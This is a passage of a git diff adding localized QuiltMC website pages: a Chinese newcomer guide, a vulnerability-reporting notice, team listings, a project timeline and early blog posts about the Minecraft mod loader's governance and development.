在适当的时候允许贡献者快速迭代和尝试新功能 +- 在官方社区空间和政策中建立透明度 +- 创建一个了解 Quilt 价值观重要性的社区团队,通过理解型的实际管理方法促进包容性、多样性和安全性,该团队由强有力的[行为准则](/zh/community/code-of-conduct)支持 +- 提供一种不给任何人过多权力的治理结构,避免给工作人员创造没有监督的机会 +- 提供让社区参与重要项目决策的方式 + +自成立以来,Quilt 发展迅速,并得到了更广泛社区的广泛支持。尽管社区的一些角落试图反对其现代进步的价值观,Quilt 仍在不断发展,吸引了来自各个阶层的开发者和用户。 + +# 治理 + +Quilt 在项目治理方面采取了一种不同寻常的方式,试图避免任何一个人对整个项目拥有过多权力。这并不是一项特别容易的任务,特别是在管理社区空间(以及像 Discord 这样没有团队所有权概念的平台)时。Quilt 试图通过以下几种方式解决这个问题: + +- 从项目成员中选举一个管理委员会,负责监督项目的发展方向,管理 GitHub 上的权限,以及打破投票平局 +- 选举一个关键持有人作为 Quilt 官方社区空间的实际所有者,该人是 Minecraft 模组界中有声望、受人尊敬和知名的人物,但与 Quilt 没有其他任何关联 +- 选举一个社区团队来管理 Quilt 的官方社区空间和社交媒体账号,该团队在一定程度上独立于组织的其他部分,由专注于社区管理而不是 Quilt 项目开发的工作人员组成 +- 将每个开发项目的责任分配给独立团队,每个团队都有自己的领导和层级结构 - 包括子团队和处理问题的团队,视需要而定 +- 提供一套流程文件,需要按照这些文件进行操作,例如组建新团队、选举团队成员、选举新的管理委员会成员和其他项目管理任务 + +通过这种方式,Quilt 旨在避免在少数人对整个项目拥有绝对权力时经常发生的问题。此外,允许团队独立运作意味着它们能够更高效、更有效地工作。 + +透明度是 Quilt 价值观的核心部分,因此它还利用了一种“请求评论”(RFC)系统,通过向 GitHub 存储库提交 Pull Request 的形式进行。该系统允许任何人查看、审查并提出对项目重要流程的更改建议,甚至可以通过创建问题或 Pull Request 提出新的流程建议。这个过程本身在 RFC 0001: The RFC Process 中有详细说明,任何希望参与的人都可以参与其中。 diff --git a/src/pages/zh/about/newcomer-guide.mdx b/src/pages/zh/about/newcomer-guide.mdx new file mode 100644 index 000000000..070704637 --- /dev/null +++ b/src/pages/zh/about/newcomer-guide.mdx @@ -0,0 +1,207 @@ +--- +title: Newcomers' Guide +description: A newcomers' guide to Quilt — information, questions and concerns +layout: /src/layouts/Page.astro +--- + +import Foldable from "@atoms/Foldable.astro"; + +这个文档旨在对 Quilt 进行概述,并解答新加入 Quilt 项目、其生态系统或社区空间的常见问题和疑虑。如果你被引导到这里,请务必阅读完整页面,因为它可能会回答你的一些问题。 + +首先,让我们先了解一些基本情况... + +# Quilt 是什么? + +Quilt 是一个用于 Minecraft 的新的模组加载器项目。正如[主要的“关于”页面](/zh/about)所解释的那样,它存在的目的是为了解决其他模组加载器项目随时间出现的问题,基于 The Fabric Project 提供的技术基础上进行扩展。它的目标不仅在于技术方面的优秀,还在于其分散化和以社区为中心的治理方法、友好的软件设计和包容性、减少伤害的社区管理方法。 + +虽然对于某些类型的 Quilt 用户来说,这些工作可能显得抽象,但我们相信,如果一项工作值得去做,那就值得做好 - 我们都努力通过我们的工作使 Minecraft 模组化领域变得更好。 + +# 为什么不直接为其他模组加载器做贡献? + +由于我们在社区管理和治理等方面具有不同的目标和方法(以及其他原因),我们意识到启动一个独立的项目是实现我们目标的最佳方式 - 而不是试图强迫其他项目与我们的理念保持一致。 + +我们希望 Quilt 成为用户的另一种模组加载器选择,而不是直接与其他模组加载器项目竞争。我们相信,采用不同方法解决编写 Minecraft 模组化问题的多个项目,将以比单一模组加载器垄断更有生产力的方式推动生态系统的发展,并希望我们的工作能激励其他模组加载器并促使它们与我们一同改进。 + +# 问题和疑虑 + +下面,你将找到一系列常见问题和疑虑。由于一些答案相当长,它们已被折叠 - 请点击或点击它们以阅读我们的回答。另外,我们完全有可能遗漏了一些内容 - 如果你认为有任何需要补充的内容,请与我们联系! + + +Quilt相比其他模组加载器提供了什么? + +在撰写本文时,Quilt 处于测试阶段,这意味着尚未完成我们想做的一切。这也意味着我们对项目本身的许多工作都是面向开发者的(尽管这仍然可能为所有人提供更好的模组)- 因为我们认为在致力于改进用户体验的功能之前,建立稳固的技术基础非常重要。 + +目前,以下事实已经存在: + +- Quilt 在几乎所有方面都采用以社区为重点的方法,为人们提供充分的发表意见的机会,参与重要的开发决策,并与社区合作,满足其成员在社区空间中的需求。 +- QuiltFlower 是 Quilt 的反编译器项目,与 FernFlower 及其他在模组化领域中使用的 FernFlower 分支相比,它得到了大幅改进,为开发者提供更易读、更准确的反编译代码。 +- Quilt Mappings 是 Quilt 的映射项目,它不采用清洁室策略,这意味着开发者可以使用他们喜欢的任何映射,并且他们仍然能够在 Quilt 的社区空间中获得模组开发支持。我们还希望这将导致未来的高质量名称。 +- Quilt 的标准库(QSL)在某些情况下已经提供了比 Fabric API 更大的 API 表面,例如 QSL 动态配方模块和资源加载器改进。 + +以下改进计划在正式发布时实现: + +- 在所需模组缺失或模组之间不兼容时,提供更清晰的错误提示-用户友好的错误是我们工作的重点,我们希望很快能有专人负责这方面的工作。 +- 在编译时自动检测模组使用的 QSL 模块,并在运行时自动下载这些模块,消除了用户需要下载完整的 QSL 才能让使用它的 Quilt 模组正常工作的要求(但用户可以重新配置和禁用此功能)。 +- 一个包容性的插件加载器实现,允许开发者修改 Quilt 加载模组的方式,并从其他来源加载模组 - 例如,如果 Sponge 的开发者愿意,这将使 Sponge 能够将其插件与 Quilt 的加载器进行本地集成。 +- 一个中间映射系统称为 Hashed Mojmap,当 Minecraft 的新版本发布时,它会自动生成,这意味着 Quilt 的核心工具链可以立即在新的快照上使用 - 与 MCP 和 Intermediary 不同,Hashed Mojmap 不需要人工干预即可发布。 +- 一个基于 Gradle 的新工具链,取代目前基于 Quilt 的 Fabric Loom 的工具链。 +- Chasm 项目,将为使用 Java 字节码的工具提供更安全的支持;它将作为我们 Mixin 实现的后端,但也允许开发者轻松添加自己的字节码处理工具 - 这是一个对整个模组化社区具有广泛影响的项目,我们对此非常兴奋! + +值得注意的是,尽管许多改进是面向开发者的,但它们应该可以实现更高质量的模组,这些模组在兼容性方面更好,维护所需的开发工作更少。此外,Quilt 的以社区为基础的方法试图关注开发者的最佳利益,关注他们编写出色模组所需的内容,同时考虑到更大的整体情况,并避免偏袒更大的模组或更知名的模组开发者。 + + + +那我已经使用的Fabric模组怎么办? + +如果你已经使用 Fabric,我们有好消息 - Quilt 也兼容大多数 Fabric 模组!只要这些模组没有使用内部的 Fabric API,你可以像往常一样将它们添加到你的`mods`文件夹中,并且假设你安装了我们的 Quilted Fabric API([它是 QSL 的一部分](https://modrinth.com/mod/qsl)),一切都应该正常工作。 + +我们计划尽可能长时间地维护 Fabric 的支持 - 只有在作为 Quilt 本身的一部分维护它变得不可行时,我们才会停止。即便如此,如果确实发生这种情况,我们将把该部分项目移交给社区,并尽可能提供帮助给新的维护者。 + + + +这不会进一步分裂社区吗? + +这是我们经常遇到的问题,也是许多人关注的问题。然而,让我们先对此进行一些分析,而不是试图预测未来。 + +Minecraft 模组化的概念几乎与 Minecraft 本身同样存在 - 创建并找到其定位的各种各样的模组、模组加载器和社区。然而,有一个模组加载器在很长一段时间里占据了主导地位 - Forge。 + +随着 Forge 的流行和其模组范围的扩大,许多用户习惯了他们的工作流程:安装 Forge,找到一些模组,由于 Forge 是唯一一个长时间以来真正可行的模组加载器,这些模组可能就可以正常工作。后来,其他模组加载器开始出现并消失。Liteloader 出现了,带来了其客户端模组化框架。Rift 出现了,然后消失了。Fabric 出现了,并开始获得动力 - 这是现代 Minecraft 模组之间的第一个主要兼容性裂缝。 + +自那时以来,关于其他模组加载器“分裂社区”的抱怨很多。我们没有水晶球,但这个概念当然是有一定道理的:随着越来越多的模组加载器出现和更多的模组出现,用户肯定会遇到他们想要使用的模组与他们喜欢的模组加载器不兼容的情况。这确实可能很麻烦,但这并不意味着模组开发者因拒绝将其模组移植到不同的模组加载器而受到骚扰。我们相信,提供给用户更多选择的好处 - 例如,激励每个项目做得更好,或为技术和模组创新提供更多空间 - 超过了分裂所带来的不便。 + +
+ +不过,很难准确地说会发生什么。像这样的项目一开始阶段通常会在模组开发领域引起一些摩擦,因为模组开发者需要决定是否支持 Quilt。Quilt 的目标并不是要超越其他模组加载器并使它们黯然失色。Quilt 只是在一个竞争激烈的市场中尽力而为,这既有优势也有劣势。 + +然而,我们相信用户选择的好处胜过模组开发领域的动荡所带来的不便。我们决定在 Quilt 上继续支持 Fabric 模组的原因之一是为了减轻其发布的负面影响,但我们明确支持旨在帮助开发者在不同的模组加载器上创建兼容模组的项目,并且我们很高兴看到现在许多新的模组都支持所有主要的模组加载器。 + +也就是说,我们能做的只有这么多——开发者有权为他们选择的模组加载器开发模组,我们永远不希望剥夺他们的权利。 对于大多数人来说,模组是一种爱好 - 永远没有充分的理由拒绝开发人员有更多选择,重要的是没有人试图破坏他们使用自己喜欢的工具开发模组的权利。 + +我们都有能力以成熟的方式解决这个问题,这要归功于辛勤工作的模组开发者。 说到这里,如果您是一名模组开发者,想要编写跨加载器模组,请随时加入我们的 Discord ——那里有很多开发者可以为您指明正确的方向。 +
+ + +Quilt 治理的不同之处 + +大多数你在互联网上找到的项目都采用自上而下的治理方式,作为一种严格的等级制度。这通常会导致一种类似树状或金字塔状的结构,顶层的人可以以某种方式决定整个项目的命运,并对下面的人施加影响。 + +相比之下,Quilt 采用了一种更为分散的结构。这导致责任和控制的分离,分配给最适合处理该项目特定部分的团队。截至目前,Quilt 的治理结构分为三个主要类别: + +- 行政委员会(Admin Board) +- 社区团队(Community Team) +- 开发团队(Development Teams) + +尽管 Quilt 的所有成员每天都在一起工作,但并不存在明确的上下级结构,只有责任的分离。等级制度存在的目的是进一步划分工作领域,帮助员工在需要的地方专注于发展,并不是作为一种内部权威链的明确存在。 + +请参阅团队列表页面以获得我们所有团队及其成员的完整列表。 + +#### 行政委员会(Admin Board) + +行政委员会旨在协助指导项目的整体方向,并在社区团队无法代表项目时代表项目——同时处理需要对整个项目熟悉并监督的杂项任务。他们的职责包括: + +- 代表 Quilt 项目参与赞助和其他类型的合作伙伴关系,除了社区协作之外 +- 对整个项目进行监督,确保按照文件记录的过程进行,并在内部冲突时提供帮助 +- 在 Quilt 的内部民主过程中充当调解者,对处于僵局中的问题进行投票,以推动它们的进展 +- 管理 Quilt 项目的财务状况,并确保收入和支出的透明记录 +- 根据需要向其他团队分配访问权限,并在需要而且不由社区团队管理的平台上作为所有权团体行事,例如 GitHub +- 凭借他们的专业知识参与决策过程,负责处理其他团队不负责的任务 + +尽管名字中含有"行政委员会",但行政委员会并不对整个项目或其员工拥有最终权力——其他团队独立运作,行政委员会是其他团队的支持组。 + +#### 社区团队(Community Team) + +社区团队是一个专门的团队,负责监督 Quilt 的所有社区空间,以及其社交媒体账号和网站,并处理出现的任何公共关系任务。为了更好地分配工作和防止滥用权限,社区团队进一步划分为多个不同的角色。 + +#### 钥匙持有者(Keyholders) + +钥匙持有者是通过内部民主选举任命的个人,他们在所有没有合理的团队所有权概念的官方 Quilt 社区空间中担任"拥有者"职位。 + +钥匙持有者是广泛被认可、在更广泛的 Minecraft 模组开发社区中有良好声誉的人士,他们对 Quilt 没有兴趣,但如果滥用其职权,他们个人的声誉将受到巨大打击。因此,我们希望能避免任何潜在的权力滥用。 + +钥匙持有者在必要时监督社区团队,帮助确保在社区团队内部空间中遵守 Quilt 的政策,并根据需要向其他社区团队成员分配权限。他们也可以就内部事务发表意见,但对项目本身并不参与。 + +#### 社区经理(Community Managers) + +社区经理负责监督 Quilt 的官方社区空间的日常运作。除了支持其他社区团队并担任版主的角色外,他们还负责社区空间的管理任务,领导社区团队申请的面试,维护和跟踪用于保持社区空间顺利运行的工具,并创建和更新社区团队的政策。 + +此外,社区经理还负责调查 Minecraft 模组开发领域的更广泛社会趋势和争议,收集信息并用于补充版主团队的决策,通常在问题用户造成任何问题之前(或在某些情况下,甚至在他们进入我们的社区空间之前)禁止他们的行为。 + +社区经理有一些版主没有的职责,但他们并不优于其他社区团队的成员——他们在决策和投票中享有平等发言权,只是因为大多数平台要求如此,所以处于较高的等级位置。 + +#### 版主和见习版主(Moderators and Trainee Moderators) + +版主负责监督 Quilt 的官方社区空间,解决冲突并移除不良行为者。他们是我们社区空间最重要的防线,执行 Quilt 的规则和行为准则,确保用户的安全和讨论的积极性。 + +见习版主是新任命的版主,他们最近通过了社区团队的面试和投票程序。他们被单独指定,以便有时间适应 Quilt 的社区空间的运作方式,并通常在见习期约两周后评估其在团队中的表现,然后由其他社区团队决定是否将其晋升为正式版主职位。 + +#### 活动团队(Events Team) + +Quilt 的活动团队负责策划、组织和运营 Quilt 社区空间的活动,并在繁忙的活动期间有时充当额外的版主。他们与 Quilt 的其他团队(以及更广泛的 Minecraft 模组开发社区)合作,收集有关可能的社区活动的想法和信息,并确保这些活动得以实施并顺利进行。 + +活动团队成员不是版主,并且除了在他们组织的活动上充当版主外,不以版主的身份参与其他活动(除非特定的活动团队成员同时也是版主或社区经理)。 + +#### 外联团队 Outreach Team + +外联团队负责运营 Quilt 的社交媒体账号,创建和发布与 Quilt 相关的多媒体内容(包括开发者会议播客),以及为本网站撰写博客文章和文章。他们是 Quilt 与外界的纽带,通过向世界传达 Quilt 的新闻和追踪人们对 Quilt 的在线看法,保持世界对 Quilt 的更新。 + +外联团队成员不是版主,不会以版主的身份参与工作(除非该外联团队成员同时也是版主或社区经理)。 + +#### 开发团队(Development Teams) + +开发团队负责 Quilt 项目的技术工作,包括编写代码、修复错误和维护组成 Quilt 的各个软件部分。每个 Quilt 项目由特定的开发团队负责,该团队负责该项目开发的所有方面。 + +开发团队可能会分为子团队。通常在较大的项目或一个团队负责多个项目时会这样划分,这样可以使团队成员专注于特定领域,并避免一个团队承担过多的责任。 + +值得注意的是,任何人都可以在不加入开发团队的情况下为 Quilt 的任何项目做出贡献,但贡献者仍将直接与负责运行他们所参与的项目的团队互动。 + + + +菠萝?那不是南瓜吗? + +菠萝是 Quilt 社区的第一个吉祥物——它的代词是"它/它的",它是在 Quilt 社区 Discord 对外开放的那一天诞生的:2021 年 4 月 20 日。在那一天,我们的用户和工作人员决定在语音聊天中聚会,最终在 skribbl.io 上玩了一个游戏。 + +在一个玩家的回合中,他们的任务是画一个南瓜。这导致很多人猜"菠萝",从而诞生了菠萝吉祥物! + +
+ + 菠萝,Quilt 的一位吉祥物 + +
+ +菠萝是我们社区文化的核心组成部分,我们经常使用它来代表我们的社区——无论是官方的还是非正式的。如果您在 Quilt 社区空间中遇到菠萝原始图的各种变体,也请随意创作您自己的艺术作品,如果您愿意的话! +
+ + +Quilt 的社区管理是怎样的? + +Quilt 存在的一个目标是解决 Minecraft 社区中一些管理不善的问题。我们采用了一种我们称之为"防御性管理"的方法——这是一个新兴的概念,主要关注减少伤害和调查性管理,密切关注社区中的行为和趋势,并在问题发生之前采取行动予以预防。 + +我们的方法之所以与其他社区截然不同,是因为我们调查并采取行动来处理在更广泛的社区中出现的问题,即使它们并不直接影响到 Quilt。我们相信没有事情是孤立发生的,其他地方出现的问题是人们可能在我们的空间中引起类似情况的很好证据。我们毫不犹豫地在问题用户进入 Quilt 社区空间之前封禁他们,有些人对此感到困惑——但我们坚信这种方法,并且这在保护 Quilt 用户免受歧视和其他有害行为方面发挥了重要作用。 + +同样,Quilt 本身并不是孤立存在的——我们运营着一个名为"Quilt Community Collab"的计划,与其他相关社区合作处理管理相关的问题和活动。与其他组织一起工作意味着我们可以为整个社区领域作出贡献,为每个人——作为回报,这些组织也帮助我们进行调查和处理管理相关的问题。 + +我们相信,所有社区都可以对其用户的福祉做出积极贡献,并且他们有责任创造安全、包容的空间,并树立这样的潮流——鼓励更多社区做同样的事情,让互联网成为每个人都能够更好的地方。 + + + +Quilt 会将我的模组发送到我玩的服务器吗? + +这是一个基于信息传递不佳的误解:有一段时间,为了减轻 Quilt 社区空间的管理负担,我们考虑过潜在地将客户端的模组列表发送到他们连接的服务器(类似 Forge 的做法)。然而,这从未形成正式规定——没有制定任何请求评论(RFC),也没有为测试版实施类似功能。 + +此后,出现了更好的想法。其中一个例子是正在进行中的RFC #17,它提出了一种标准的特性切换系统——允许服务器告知客户端他们的期望,并让模组根据这些期望进行配置。 + +我们更倾向于一种不会影响用户隐私的解决方案——我们仍然对其他建议持开放态度,但我们相信上述RFC可能是正确的解决方案。 + + + +为什么你们不在这里解释 Fabric 的争议呢? + +这是自 Quilt 进入测试版以来我们一直收到很多的问题。从表面上看,这似乎是个合理的问题,但我们坚决认为这不是我们网站上合适的主题,也不是在我们的社区空间进行讨论的有效话题。 + +值得注意的是,Quilt 的理念(从社区管理风格到治理方法)是独立的,并且在很大程度上早于 Fabric 的争议。Quilt 的开发人员、贡献者、管理员和用户并不被这些事件所定义。我们的目标是成为最好的模组加载器和模组社区,而不仅仅是一个有着不同领导层的 Fabric 克隆。 + +我们希望摆脱过去发生的事情,所以我们不会花很多时间纠缠于这些事件上。我们相信我们的工作可以自成一体,不需要依靠过去的背景来支撑。因此,我们将继续致力于 Quilt 的开发,推动更好、更包容、更安全的社区空间,并尽力改善整个模组社区,不仅仅是为了我们自己的用户。 + diff --git a/src/pages/zh/about/security-notice.md b/src/pages/zh/about/security-notice.md new file mode 100644 index 000000000..e28a63923 --- /dev/null +++ b/src/pages/zh/about/security-notice.md @@ -0,0 +1,30 @@ +--- +title: Security Notice +description: How to report a security vulnerability in one of our projects. +layout: /src/layouts/Page.astro +--- + +This is the security notice for all QuiltMC repositories. The notice explains how security vulnerabilities should be reported. We also support the [security.txt](/.well-known/security.txt) standard. + +# Reporting a Vulnerability + +If you've found a vulnerability, please let us know privately so that we can fix it before it is released publicly. **Do not open a GitHub issue to report a security vulnerability.** + +Send details to [admins@quiltmc.org](mailto:admins@quiltmc.org), including: + +* The website, page, tool or repository where the vulnerability can be observed +* A brief description of the vulnerability +* Optionally the type of vulnerability and any related [OWASP category](https://www.owasp.org/index.php/Category:OWASP_Top_Ten_2017_Project) +* Non-destructive exploitation details and proof of concept + +We will do our best to reply as fast as possible. [A PGP key is available](/.gpg/administrative-board.gpg) if you'd like to encrypt the email. + +## Scope +The following vulnerabilities are not in scope: + +* Volumetric vulnerabilities, for example overwhelming a service with a high volume of requests +* Reports indicating that our services do not fully align with “best practice”, for example missing security headers + +If you aren't sure whether a vulnerability is in scope or not, you can still reach out via email. + +This notice is inspired by the [GDS Security Notice](https://github.com/alphagov/.github/blob/master/SECURITY.md). diff --git a/src/pages/zh/about/teams.mdx b/src/pages/zh/about/teams.mdx new file mode 100644 index 000000000..f138cd80f --- /dev/null +++ b/src/pages/zh/about/teams.mdx @@ -0,0 +1,230 @@ +--- +title: Team Listings +description: Learn about Quilt's team structure, and find out who's involved. +layout: /src/layouts/Page.astro +--- + +import TeamMembers from "@setpieces/TeamMembers.astro"; +import ProjectButton from "@parts/team/ProjectButton.astro"; + +Quilt's governance is split up into many independent teams, some of which have their own subteams and/or leadership structure. Teams are largely responsible for their own management, taking an internally democratic approach towards restructuring and elections. + +Additionally, each team also has its own responsibilities. Below, you'll find a full list of each team and a list of team members, including a description of the team and any relevant subteams and team roles. + +Teams also include one or more team leads. They are responsible for the team's overall direction and management, and are the primary point of contact for the team's responsibilities. They usually hold merge rights on the team's repositories, and are responsible for ensuring that the team's responsibilities are met. On this page, they will be indicated by a star. + +# Admin Board + +The Admin Board is responsible for breaking voting ties, managing permissions on GitHub, managing operational platforms that concern multiple teams and steering the project's general direction. The Admin Board must always have an odd number of members, to help ensure that ties can be broken cleanly. + +
+ +
+ +# Community Team + +The Community Team is a wide-ranging team that is in charge of managing all Quilt community spaces, as well as its social media accounts and public relations tasks. Because this work varies a lot, the Community Team is split up into several sub-teams, which have specific responsibilities. + +## Keyholders + +Due to recent events, we're currently restructuring the Keyholder role. More information to come soon. + +## Community Managers + +Community Managers are administrative Community Team members that deal with the day-to-day tasks of maintaining Quilt's community spaces, as well as supporting and managing the rest of the community team. They're responsible for properly running elections, interviewing and training new Community Team members, managing the structure of Quilt's community spaces, writing and receiving feedback on Quilt's community policies. + +
+ +
+ +## Moderators + +Quilt's Moderator team is responsible for daily moderation tasks in Quilt community spaces. This includes conflict resolution, defensive and reactive moderation tasks and general rule and policy enforcement. Moderators are the backbone of any Community Team, and Quilt's is no exception -- a diverse, active Moderator team has always been instrumental for Quilt's success. + +
+ +
+ +## Events Team + +The Events Team is responsible for organising and managing events within our community spaces, which can include anything from AMAs to fully-blown online modding conventions. While they aren't Moderators, they are always backed up by the rest of the Community Team, and also have the ability to directly moderate events. + +
+ +
+ +## Outreach Team + +The outreach team is responsible for communications outside of and within Quilt. They write blog posts, manage social media and website content, and run developer meetings, among other things. + +
+ +
+ +# Development Teams + +Development teams are responsible for specific parts of The Quilt Project, which itself comprises a number of projects. Developent teams operate largely independently, allowing for self-governance as long as the relevant RFCs are followed. + +## Build Tools + +The build tools team is responsible for several projects that are instrumental for creating Quilt mods, including compilation tooling and build system plugins. This team is responsible for the following projects: + +
+ + + + + +
+ +
+ +
+ +## Chasm + +The Chasm team is responsible for maintaining Chasm, the Collision Handling ASM toolset. Chasm aims to provide a safer backend for modifying JVM bytecode at runtime, allowing for more compatible mixins and extra bytecode modification frontends. + +**Note:** You may see projects with "ASMR" in the name on the QuiltMC GitHub organisation. This was the old, internal codename for Chasm, so those projects are associated with the Chasm team. + +This team is responsible for the following projects: + +
+ + +
+ +
+ +
+ +## Community Tooling + +The Community Tooling team is responsible for projects that power Quilt's community spaces, such as custom Discord bots. This team is responsible for the following projects: + +
+ +
+ +
+ +
+ +## Decompilers + +The Decompilers team is responsible for projects relating to JVM bytecode decompilation. These projects are important because they allow modders to view a version of Minecraft's source code, which is instrumental for figuring out what they need to do to extend the game. This team is responsible for the following projects: + +
+ + + +
+ +
+ +
+ +## Infrastructure + +The Infrastructure team is responsible for Quilt's service infrastructure, including managing cloud platforms, server tooling, file repositories and API services for modders. This team is responsible for the following projects: + +
+ + + +
+ +
+ +
+ +## Kotlin + +The Kotlin Team is responsible for maintaining the Quilt Kotlin Libraries (QKL), a set of libraries based off QSL and designed for use with the Kotlin programming language. These libraries provide an official way to use Kotlin on Quilt, as well as wrappers for QSL and the Minecraft codebase for easier use in Kotlin. + +
+ + +
+ +
+ +
+ +## Loader + +The Loader team is responsible for projects relating to Quilt Loader, the project that actually handles loading mods into the game. This also includes projects like the installer and libraries used for parsing and generating mod metadata. This team is responsible for the following projects: + +
+ + + + + + +
+ +
+ +
+ +## Mappings + +The Mappings team is responsible for projects relating to remapping obfuscated names to human-readable names. This includes tools for matching names, mappings storage formats, javadoc generation tools, and much more besides. This team is responsible for the following projects: + +
+ + + + + + + + + + +
+ +
+ +
+ +# Quilt Standard Libraries (QSL) + +The QSL team is responsible for maintaining a library of modules that provide extra APIs for modders to use when creating their mods. These APIs are designed to make certain tasks easier, and to help mods remain compatible with each other. + +The QSL team contains a subteam responsible for the Quilted Fabric API compatibility module. + +This team is responsible for the following projects: + +
+ + +
+ +
+ +
+ +## Sub-Team: Quilted Fabric API + +
+ +
+ +# Triage Teams + +Triage teams aren't directly involved with development, but they're still very important. They're mostly responsible for reviewing pull requests to active Quilt repositories, ensuring that they're up to spec and ready be merged. This allows for the development teams overseeing these repositories to focus on development, rather than reviewing PRs. + +## Mappings + +This team is responsible for handling triage tasks for the following projects: + +
+ + +
+ +
+ +
diff --git a/src/pages/zh/about/timeline.mdx b/src/pages/zh/about/timeline.mdx new file mode 100644 index 000000000..a6f9b12b8 --- /dev/null +++ b/src/pages/zh/about/timeline.mdx @@ -0,0 +1,105 @@ +--- +title: Timeline +description: Quilt's official timeline -- from beginning to today. +layout: /src/layouts/Page.astro +--- + +import Header from "@parts/timeline/Header.astro"; +import Item from "@parts/timeline/Item.astro"; +import rtlSettings from "@data/RtlSettings"; + +import site from "@data/Site"; + +
+
2021
+ + + The Quilt Initiative Discord server is created, as a temporary place to put together an initial plan for the Quilt project. + +
+ i509VCB introduces the initiative server to its first members + +
+ i509VCB introduces the Initiative Server to its first members +
+
+ +
+ + The Quilt Community Discord server is founded, to provide an official, public community space. While things are still being set up and planned out, single-use invites are handed out to trusted, prominent Fabric community members -- the server isn't made public immediately. + + + To drum up some interest and figure out what the modding community would think about Quilt, one of the founding members posts a [Pastebin "leak"](https://pastebin.com/spNgyCMD) on a drama server. The document includes some information about the governance and moderation policy of a new project named "Fabrique", a false name used to avoid exposing Quilt's projects before they were ready to be made public. + +
+ The message linking the 'leaked' Pastebin document + +
+ The message linking the 'leaked' Pastebin document +
+
+ +
+ + The Quilt GitHub organisation runs out of free Actions minutes, which means that its repositories must be made public. It doesn't take long for people to find them, either! + +
+ i509VCB and Prospector talk about people finding the forked Loom repository + +
+ i509VCB and Prospector talk about people finding the forked Loom repository +
+
+ +
+ + The Quilt Community Discord server is officially made public, with proper invites being created and handed out. Almost 350 users join the server on this first day, which is emblematic of people's interest in the project and its community. + + On the same day, the Quilt Toolchain Discord server is set up and opened to the public. This server was designed for project-relevant development discussions, as a place for people to work together on Quilt and its projects, and for everyone else to gain a window into Quilt's development processes. + +
+ Earthcomputer and i509VCB share celebratory crabs on the new toolchain server + +
+ Earthcomputer and i509VCB share celebratory crabs on the new Toolchain Server +
+
+ +
+ + On the Community server, a game of [skribbl.io](https://skribbl.io) was played to celebrate the server's opening to the public. During this game, a player was tasked with drawing a pumpkin, and many of the players guessed "pineapple". This drawing quickly became a community favourite, and Pineapple was born -- Quilt's first community mascot. + +
+ Users spam the new Pineapple emote + +
+ Users spam the new Pineapple emote +
+
+ +
+ + Quilt officially entered its first beta today, attracting an influx of new users and an amazing amount of support and positive feedback. By the end of the day, Quilt was happily loading both Quilt and Fabric mods, and had [uploaded QSL to Modrinth](https://modrinth.com/mod/qsl) + +
+ Graph of Discord joins around the time of the beta release + +
+ Graph of Discord joins around the time of the beta release +
+
+ +
+ + Quilt officially sunsets the Toolchain Discord server, merging its channels into the main Discord server, previously the community server - in an attempt to bring the developers closer to the users. + + This server was made read-only three days later, but may still be accessed - just in case anyone needs to refer to something that was discussed there. + +
Present Day
+
diff --git a/src/pages/zh/blog/2021-04-18-this-is-quilt.md b/src/pages/zh/blog/2021-04-18-this-is-quilt.md new file mode 100644 index 000000000..f7d09e0e1 --- /dev/null +++ b/src/pages/zh/blog/2021-04-18-this-is-quilt.md @@ -0,0 +1,43 @@ +--- +title: "This is Quilt" +date: 2021-04-20 9:00:00 -00:00 +authors: + - Haven King + - ToffeeMax +layout: /src/layouts/Post.astro +--- + +This is the Quilt Project: An open, community-driven modding toolchain designed primarily for Minecraft. Quilt builds on many of the technologies developed by [the Fabric Project](https://fabricmc.net) and is designed to take what worked well and expand on it further. + + + +## Why the Fork? + +While the Fabric Project has made significant progress towards an open and advanced mod loader, it has recently slowed down in technical innovation and failed to address several organizational issues. There are a number of changes the Quilt Project will put into place in the future to differentiate ourselves: + +- Governmental Structure -- Quilt's organizational structure has been designed with openness in mind; no one person holds all the keys. +- Separation of Concerns -- Those in charge of technical concerns should not be making important community decisions, and vice versa. Quilt's teams each control a very specific aspect of the project. +- Quilt Loader Plugins -- Will allow other parties to change mod loading behavior in new and exciting ways. +- Dependency Downloading -- Users will no longer have to download every single dependency for each of their mods. +- Cleaner Bytecode Modifications -- A safe, deterministic alternative to "Mixin" or modifying bytecode by hand. +- Faster Iteration & Experimentation -- The Quilt project aims to fail fast. We would rather try something and fix it then spend countless months debating whether to move forward with it in the first place. + +## Important Documents and RFCs + +Quilt makes use of a Request for Comment system to drive major organizational changes. The RFCs are designed to make clear what changes are on the horizon, allow for comment from the community and as a maintained location for how specific parts of The Quilt Project work (eg Governance). + +You can view these documents (accepted and not) via our [GitHub Repository](https://github.com/QuiltMC/rfcs); please use this space to submit new RFCs and comment on currently open ones. + +The process of RFCs is outlined in [RFC-0001](https://github.com/QuiltMC/rfcs/blob/master/structure/0001-rfc-process.md). + +## Who is involved? + +To view an approximate membership, our [GitHub organization](https://github.com/QuiltMC) is a good starting place. This list is not exhaustive as it may not include members who are part of the community team. + +## Can I mod on Fabric and Quilt? + +Fabric mods will be able to run on Quilt initially. There may be a point in the future where this is no longer possible. + +## I have more questions! + +We have written a FAQ which hopes to provide answers to some common questions. If something is not covered there, please ask on our [Discord](https://discord.quiltmc.org). diff --git a/src/pages/zh/blog/2021-09-19-quilt-sept-update.md b/src/pages/zh/blog/2021-09-19-quilt-sept-update.md new file mode 100644 index 000000000..78f6fcdfb --- /dev/null +++ b/src/pages/zh/blog/2021-09-19-quilt-sept-update.md @@ -0,0 +1,94 @@ +--- +title: "Quilt September Update" +date: 2021-09-19 15:00:00 -00:00 +authors: + - ToffeeMax +layout: /src/layouts/Post.astro +--- + +It has been a few months since the last update on the Quilt Project. + +Quilt has progressed far since that initial "This is Quilt" blog with: new teams set up; several important RFCs being published and developments in many key areas. + + + +## Clean Room RFC-33 + +[RFC-33 has been merged](https://github.com/QuiltMC/rfcs/blob/master/rfc/0033-quilt-mappings-and-clean-room.md). This RFC changes how Quilt is dealing with other mappings (such as MojMap, MCP and Yarn). + +Key Take-Aways: + +- Quilt's fork of Yarn will be renamed to "Quilt Mappings" (QM) +- All restrictions on referencing mappings projects (other than Quilt Mappings) within Quilt's community and development spaces will be lifted + +The reasoning, possible outcomes, drawbacks and smaller changes are outlined further in the RFC document. + +### Quilt Mappings + +As noted above, Quilt Mappings (QM) exist and are open to contributions. + +## Quilt Standard Library (QSL) + +The Quilt Standard Library (Quilt's separation of the current Fabric API into distinct modules -- see [RFC-9](https://github.com/QuiltMC/rfcs/blob/master/rfc/0009-qsl-structure.md)), now has the resource loader and base (for events). + +We are looking for help testing the resource loader. This can be done by using the snapshot maven repo with 